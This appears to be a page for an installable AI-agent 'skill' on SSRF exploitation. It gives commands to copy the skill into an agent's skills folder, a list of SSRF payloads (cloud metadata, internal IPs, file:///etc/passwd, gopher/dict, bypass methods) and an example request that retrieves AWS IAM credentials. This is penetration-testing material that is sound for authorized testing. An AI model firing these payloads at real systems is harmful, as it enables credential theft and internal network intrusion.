Asi performing-ssrf-vulnerability-exploitation

install
source · Clone the upstream repo
git clone https://github.com/plurigrid/asi
Claude Code · Install into ~/.claude/skills/
T=$(mktemp -d) && git clone --depth=1 https://github.com/plurigrid/asi "$T" && mkdir -p ~/.claude/skills && cp -r "$T/plugins/asi/skills/performing-ssrf-vulnerability-exploitation" ~/.claude/skills/plurigrid-asi-performing-ssrf-vulnerability-exploitation && rm -rf "$T"
manifest: plugins/asi/skills/performing-ssrf-vulnerability-exploitation/SKILL.md
source content

When to Use

  • When conducting security assessments that involve performing ssrf vulnerability exploitation
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with security operations concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Instructions

  1. Install dependencies:
    pip install requests
  2. Identify URL parameters in the target application that accept URLs or hostnames.
  3. Test SSRF payloads:
    • Cloud metadata:
      http://169.254.169.254/latest/meta-data/
    • Internal services:
      http://127.0.0.1:port/
      ,
      http://10.0.0.1/
    • Protocol handlers:
      file:///etc/passwd
      ,
      gopher://
      ,
      dict://
    • Bypass techniques: IP encoding, DNS rebinding, URL redirects
  4. Analyze responses for information disclosure or internal access confirmation.
  5. Generate a vulnerability assessment report.
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.